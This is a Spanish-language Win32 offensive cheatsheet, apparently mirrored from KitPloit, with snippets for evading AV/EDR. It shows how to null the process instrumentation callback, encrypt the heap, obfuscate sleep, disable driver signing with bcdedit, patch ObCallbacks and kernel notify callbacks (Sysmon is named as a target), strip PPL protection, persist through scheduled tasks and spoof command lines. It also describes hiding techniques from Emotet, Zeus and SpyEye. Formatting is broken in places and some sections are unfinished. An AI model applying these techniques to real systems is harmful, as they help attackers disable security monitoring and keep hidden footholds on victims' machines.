CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

return 0;

}

root@kitploit:~
## Devolución de llamada de instrumentación de procesos

La devolución de llamada de instrumentación de procesos se define mediante el indicador `ProcessInstrumentationCallback` (`0x40`) y es utilizada por los productos de seguridad para [detectar posibles invocaciones directas a syscalls](https://winternl.com/detecting-manual-syscalls-from-user-mode/) mediante el registro de una devolución de llamada que comprueba si la instrucción `syscall` proviene de la imagen ejecutable y no de NTDLL. Para omitirla en nuestro proceso, solo tenemos que establecer `Callback` en `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

sigue siendo "no documentado" por Microsoft, pero Alex Ionescu lo ha documentado aquí y Everdox también lo ha hecho aquí

Código completo para evadir la instrumentación aquí : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

Cifrado de montón

Recorre el montón con HeapWalk y luego cifra las asignaciones :```c VOID HeapEncryptDecrypt() { PROCESS_HEAP_ENTRY HeapWalkEntry; SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) ); while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) { if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) { XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData ); } } }

root@kitploit:~
> más información aquí: https://www.arashparsa.com/hook-heaps-and-live-free/

## Ofuscación de Sleep

Muchos PoCs sobre ofuscación de sleep han surgido con diferentes mecanismos (UM APCs, TP y más); aquí tomamos como ejemplo [Ekko](https://github.com/Cracked5pider/Ekko/), que es el PoC más fácil de entender.

la cadena ROP de Ekko es muy simple: cambia la protección de memoria a `RW`, cifra la región con `SystemFunction032`, que implementa RC4, hace Sleep con `WaitForSingleObject`, descifra la región y vuelve a cambiar la protección a `RWX`. Finalmente, pone en cola todo el `CONTEXT` con `CreateTimerQueueTimer`


> Se han lanzado algunos escáneres como [TickTock](https://github.com/WithSecureLabs/TickTock) o [Patriot](https://github.com/joe-desimone/patriot) para detectarlo, pero puedes evitarlos usando un trampolín a `NtContinue` en NTDLL con un gadget y reemplazando el registro `Rip` en la cadena ROP
 
<br>
 
# Fundamentos de programación de controladores

## Conceptos generales

Los controladores se utilizan para ejecutar código en modo kernel en lugar de en modo usuario. Es una técnica poderosa para evadir todos los hooks y el monitoreo en modo usuario establecidos por AV/EDR. También se puede usar para evadir callbacks del kernel y otro monitoreo del kernel.

El código de cualquier controlador debe verificarse (cualquier advertencia debe tratarse como un error) para garantizar que esté libre de fallos (no querrás provocar un BSOD durante un pentest, ¿verdad?).

Hace unos años, Microsoft decidió prohibir los controladores sin firmar en su sistema operativo: debes deshabilitarlo antes de cargar tu propio controlador, o usar cualquier vulnerabilidad (como https://github.com/hmnthabit/CVE-2018-19320-LPE) para deshabilitar la firma de controladores.

En un pentest real, debes encontrar algún controlador vulnerable y aprovecharlo :)

## Tabla de despacho de servicios del sistema (SSDT)

La SSDT, o Tabla de Despacho de Servicios del Sistema, es una tabla (obvio) que puede resolver la función Nt correspondiente mediante su índice actual. Cuando se realiza cualquier llamada en modo usuario, se resuelve de la siguiente manera:
- ```OpenProcess``` (se llama a la función de la API Win32)
- ```NtOpenProcess``` (resuelta en ntdll.dll)```asm
mov r10, rcx
mov eax, 26 
syscall
ret

ntdll contiene procedimientos de llamada al sistema para cada función Nt

  • 26 es el número de servicio del sistema : es un índice en la SSDT que resuelve la dirección de la función kernel NtOpenProcess.
  • Se llama a NtOpenProcess en modo kernel y se comunica con E/S como parte de un controlador.

La SSDT se define en una Tabla de Descriptores de Servicio :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;

root@kitploit:~
SSDT es/fue a menudo enganchado por rootkits, ya que era posible modificar la dirección correspondiente para que apuntara a sus propias funciones. **Patchguard** ha deshabilitado esta posibilidad, salvo en caso de alguna vulnerabilidad interna. 

> Muchos productos antivirus también están usando este truco hoy en día, probablemente usando las mismas técnicas que los hackers malvados;)

## Entrada del driver

El procedimiento de entrada del driver se define de la siguiente manera :```cpp
#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
	return STATUS_SUCCESS;
}

Es muy importante usar la macro UNREFERENCED_PARAMETER() en los parámetros DriverObject y RegistryPath, a menos que se haga referencia a ellos añadiendo algo de código más adelante.```cpp UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

root@kitploit:~
## Entrada/Salida

Usa MajorFunction `IRP_MJ_CREATE` y `IRP_MJ_CLOSE` para actuar como "interrupción" y comunicarte con tu controlador desde el lado del cliente.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

Luego define tu función CreateClose :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);

root@kitploit:~
DbgPrint("[+] Hello from FirstDriver CreateClose\n");

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;

}

root@kitploit:~
Código de ejemplo completo aquí : //

## Comunicarse con el controlador

Las aplicaciones en modo usuario envían IOCTLs a los controladores mediante la llamada a DeviceIoControl, que se describe en la documentación del Microsoft Windows SDK. Las llamadas a DeviceIoControl hacen que el administrador de E/S cree una solicitud IRP_MJ_DEVICE_CONTROL y la envíe al controlador de nivel superior (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

La aplicación en modo usuario debe usar la función DeviceIoControl (ioapiset.h) para comunicarse con un controlador.
Se utilizará para enviar varias solicitudes a su objeto **Device**.

Código de ejemplo simple aquí : //todo

## Firma de controladores

Como se describe en la sección [Conceptos generales](#general-concepts), los controladores deben estar firmados antes de instalarse en un sistema Windows. A pesar de que tengas que usar algún exploit de controlador o de kernel para omitirla (por ejemplo, el CVE del controlador de Gigabyte), aún puedes deshabilitarla manualmente:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

Luego reinicia tu computadora. Obviamente necesitas derechos de administrador local en la máquina donde quieras ejecutar estos comandos. Como se necesita un reinicio, esto no es OPSEC en absoluto.

Callbacks Personalizados

ObRegisterCallbacks (wdm.h) te permite definir callbacks "personalizados" que pueden usarse para modificar el comportamiento de una aplicación en modo usuario cuando se activan mediante una operación específica, como CreateProcess/OpenProcess (creación de handles).

Básicamente, los Ob Callbacks se definen con un arreglo OB_OPERATION_REGISTRATION, que se rellenará con la estructura OB_CALLBACK_REGISTRATION (rellenada con callbacks).

Ejemplo para activar en OpenProcess/CreateProcess:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {

root@kitploit:~
	DbgPrint("[+] Registering callbacks !\n");
}
root@kitploit:~
**process_ob_pre_op_callbacks** es una función definida por el usuario que se llamará cuando se intercepte el callback, y por lo tanto puede denegar o permitir la operación.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}

Nota : My_PROCESS_ALL_ACCESS se puede definir como #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (código hexadecimal de win32).

Cómo parchear ObCallbacks : hay varias formas de parchearlos, pero probablemente las dos formas más comunes de lograr este objetivo serían escribir una función obcallback con algún esquema como : "nop-nop-nop-ret", o borrar el puntero de función obcallback de los elementos _CALLBACK_ENTRY_ITEM. Tenga en cuenta que estas técnicas pueden activar PatchGuard, así que preste atención al usar estas técnicas en una operación real.

Programación Ofensiva de Controladores

Parchear callback del kernel

Los callbacks del kernel fueron introducidos por Microsoft principalmente para ofrecer una mejor manera a los editores de AV/EDR de monitorear y prevenir acciones sospechosas (Antes de ellos, muchos productos de seguridad usaban parcheo en modo kernel como hooks de SSDT para hacer el mismo trabajo, pero la nueva protección PatchGuard los restringió a usar esta nueva solución).

Hay varios tipos de callbacks del kernel, especialmente :

root@kitploit:~
- ProcessNotify : se llama cuando un proceso se crea o sale.
- ThreadNotify : se llama cuando un hilo se crea o sale (se elimina).
- LoadImageNotify : se llama cuando una imagen ejecutable es cargada por otro exe (ejemplo : DLL cargada por un proceso).

Cada uno de ellos tiene su función asociada, como PsSetCreateProcessNotifyRoutineEx para configurarlos en tu controlador. Esta última registra una rutina de callback cuando un nuevo proceso se crea o se elimina en el sistema Windows. Su prototipo se define como sigue :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );

root@kitploit:~
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** es un puntero a la rutina de devolución de llamada (callback) que se invocará cuando se active el evento (aquí, creación/terminación de procesos).
**Remove** es un simple indicador que señala si PsSetCreateProcessNotify registrará la función de devolución de llamada o la eliminará (útil en la función de limpieza de su controlador).

La función de devolución de llamada usará este prototipo :```cpp
void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
);

donde Process es el proceso actual que se está creando/eliminando, ProcessId es el id de este proceso, y CreateInfo es una estructura que contiene diversa información sobre este proceso.

Cuando un driver registra una nueva rutina de callback, su dirección se almacenará en un array normalmente llamado Pspname_of_your_callback. Por ejemplo, la lista de todas las funciones ProcessNotifyRoutine se almacena en el array PspCreateProcessNotifyRoutine.

Para eliminar dichos callbacks, simplemente necesitarás vaciar este array !

Desafortunadamente, la dirección de este tan emocionante array no tiene una forma directa de ser obtenida. Afortunadamente, hay muchas maneras de hacerlo manualmente, buscando algunos offsets específicos en la memoria.

Una vez que encuentres la dirección correcta, puedes enumerar todos los callbacks registrados y filtrarlos por nombre del driver (¿el driver de Sysmon quizás ?:)), y solo eliminar las funciones de callback correspondientes de la lista.

Parchear Proceso Protegido

Los Procesos Protegidos fueron introducidos con Windows Vista. Se puede definir como una estructura llamada EPROCESS (sin definir : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) que define si el proceso está protegido o no con tres miembros interesantes :``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION

root@kitploit:~
El tercer miembro (Protection) es una estructura PS_PROTECTION que se define a continuación:```
_PS_PROTECTION
  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

Para eliminar la protección PPL, debes establecer SignatureLevel, SectionSignatureLevel y Protection a 0.

Como el desplazamiento entre la dirección base de EPROCESS y PS_PROTECTION es 0x6c8, puedes obtenerlo sumando los dos valores.

Código de ejemplo : //todo

Usar la API de Win32 para mejorar el OPSEC

Persistencia

Tareas programadas

Nota : Varios ejemplos de esta parte se obtuvieron de : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

La forma "convencional" de programar cualquier tarea en el sistema operativo Windows requiere pasar por la interfaz gráfica (Programador de tareas). No es tan práctico para nosotros, ya que a menudo solo obtenemos una sesión de línea de comandos en un sistema comprometido.

Afortunadamente, se puede usar la API de Win32 para crear dichas tareas, lo que te permite conseguir una gran persistencia para tu beacon, o escalada de privilegios.

Básicamente, necesitas inicializar la biblioteca COM y luego crear una nueva instancia de la clase ITaskService con la API CoCreateInstance(). Ahora puedes editar tu objeto ITaskService para modificar la carpeta raíz, la acción, la hora y mucho más. Aquí tienes un ejemplo a continuación :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/

#define _WIN32_DCOM

#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }

root@kitploit:~
//  Set general COM security levels.
hr = CoInitializeSecurity(
    NULL,
    -1,
    NULL,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,
    0,
    NULL);

if( FAILED(hr) )
{
    printf("\nCoInitializeSecurity failed: %x", hr );
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";

//  Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


//  ------------------------------------------------------
//  Create an instance of the Task Service. 
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
                       NULL,
                       CLSCTX_INPROC_SERVER,
                       IID_ITaskService,
                       (void**)&pService );  
if (FAILED(hr))
{
      printf("Failed to create an instance of ITaskService: %x", hr);
      CoUninitialize();
      return 1;
}
    
//  Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
    _variant_t(), _variant_t());
if( FAILED(hr) )
{
    printf("ITaskService::Connect failed: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Get the pointer to the root task folder.  
//  This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
    printf("Cannot get Root Folder pointer: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

//  Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );

pService->Release();  // COM clean up.  Pointer is no longer used.
if (FAILED(hr))
{
      printf("Failed to create a task definition: %x", hr);
      pRootFolder->Release();
      CoUninitialize();
      return 1;
}

    
//  ------------------------------------------------------
//  Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
    printf("\nCannot get identification pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
    printf("\nCannot put identification info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
    printf("\nCannot get settings pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set setting values for the task. 
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
    printf("\nCannot put setting info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
   

//  ------------------------------------------------------
//  Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
    printf("\nCannot get trigger collection: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
pTriggerCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface( 
    IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
   printf("\nCannot put the trigger ID: %x", hr);

//  Set the task to start at a certain time. The time 
//  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
//  For example, the start boundary below
//  is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
   printf("\nCannot put the start boundary: %x", hr);

hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
   printf("\nCannot put the end boundary: %x", hr);

// Delay the task to start 30 seconds after system start. 
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
    printf("\nCannot put delay for boot trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
} 
   

//  ------------------------------------------------------
//  Add an Action to the task. This task will execute Notepad.exe.     
IActionCollection *pActionCollection = NULL;

//  Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
    printf("\nCannot get Task collection pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
    
//  Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the action: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IExecAction *pExecAction = NULL;
//  QI for the executable task pointer.
hr = pAction->QueryInterface( 
    IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IExecAction: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
pExecAction->Release(); 
if( FAILED(hr) )
{
    printf("\nCannot set path of executable: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
  

//  ------------------------------------------------------
//  Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t( wszTaskName ),
        pTask,
        TASK_CREATE_OR_UPDATE, 
        _variant_t(L"Local Service"), 
        varPassword, 
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegisteredTask);
if( FAILED(hr) )
{
    printf("\nError saving the Task : %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

printf("\n Success! Task successfully registered. " );

//  Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;

}

root@kitploit:~
## Spoofing de línea de comandos

Funciona perfectamente incluso con monitorización de sysmon/process hacker; permite ocultar los argumentos de tus comandos, lo que puede ser útil en operaciones de pentest/red team (```powershell -enc .....```)

Para lograr ese objetivo, puedes generar un nuevo proceso con argumentos de comando "legítimos" en modo suspendido y luego editar esos argumentos directamente en el PEB.

Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
 
# Cosas Varias

## Convención de llamadas x64

- Los primeros 4 argumentos enteros se pasan en los registros `RCX`, `RDX`, `R8` y `R9`.
- Los argumentos adicionales se pasan por la pila.
- A la dirección de retorno le sigue un área de 32 bytes reservada para `RCX`, `RDX`, `R8` y `R9`.
- Las variables locales y los registros no volátiles se almacenan por encima de la dirección de retorno.
- `RBP` no se utiliza para referenciar variables locales/argumentos de función, y `RSP` permanece constante durante toda la función.

> Notas:
> - Si una función tiene un número variable de argumentos, debe usar la pila para pasarlos
> - Si el valor de retorno es una estructura, entonces el llamador es responsable de asignar espacio para el valor de retorno y pasar un puntero a ese espacio como primer argumento
> - La función llamada es responsable de preservar los valores de los registros `RBX`, `RBP` y `R12`–`R15`, pero puede modificar libremente los demás registros
> - La pila está alineada a un límite de 16 bytes en el punto de llamada
> - La función llamada es responsable de restaurar el puntero de pila (`RSP`) a su valor original antes de retornar

## Ejecución indirecta

La ejecución indirecta aquí se refiere a un ROP para lograr la ejecución de algunas tareas; necesitarás añadir parámetros al registro correcto; debes entender la [convención de llamadas x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) para eso.

- Un ROP con la estructura `CONTEXT` necesitará `RtlCaptureContext` para recuperar el contexto actual y `NtContinue` para continuar la ejecución del ROP con la estructura `CONTEXT` como parámetro rellenada con los argumentos de función correctos en los registros correctos. También puedes construir tu ROP en ensamblador si quieres.

### Bypass de CFG con SetProcessValidCallTargets

Esto no es un bypass real, pero incluirá en la lista blanca la función que estés usando en tu ROP (es decir, `NtContinue`).```c
CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags  = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

Malware/Técnicas sofisticadas

Emotet PPID Spoofing

Esta técnica ha sido descubierta en el conocido malware Emotet. Para iniciar un nuevo proceso de powershell (con la intención de ejecutar algún payload), utiliza la API COM con una instancia de WMI. Con este truco, el proceso de powershell se genera como un proceso hijo del proceso WMIPrvSE, lo que resulta mucho menos sospechoso que ser generado por un ejecutable sospechoso o incluso un archivo de Word.

Archivos ocultos del malware Zeus

El conocido malware Zeus utiliza un truco bastante ingenioso para ocultar sus registros (pulsaciones de teclas, contraseñas, etc.) en el sistema comprometido. Engancha la función NtQueryDirectoryFile() para filtrar los resultados mostrados.```cpp typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

if (file_matches) {

// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;

root@kitploit:~
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf


## Técnica de hooking del keylogger de SpyEye

El malware SpyEye engancha la función ```TranslateMessage()``` para guardar las pulsaciones de teclado: el procedimiento del hook usa la función ```GetKeyboardState``` para añadir el carácter tecleado a un búfer de 20000 bytes.

Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

## KillSwitch de WannaCry

El ransomware WannaCry usaba una URL de killswitch que se resolvía antes de la ejecución del payload principal. Después de que este dominio fuera registrado, todas las muestras de WannaCry quedaron deshabilitadas. Esta técnica se documentó aquí: https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Dato curioso: este dominio estaba en texto plano, sin ningún tipo de ofuscación. Bastante gracioso :)
Descargar herramienta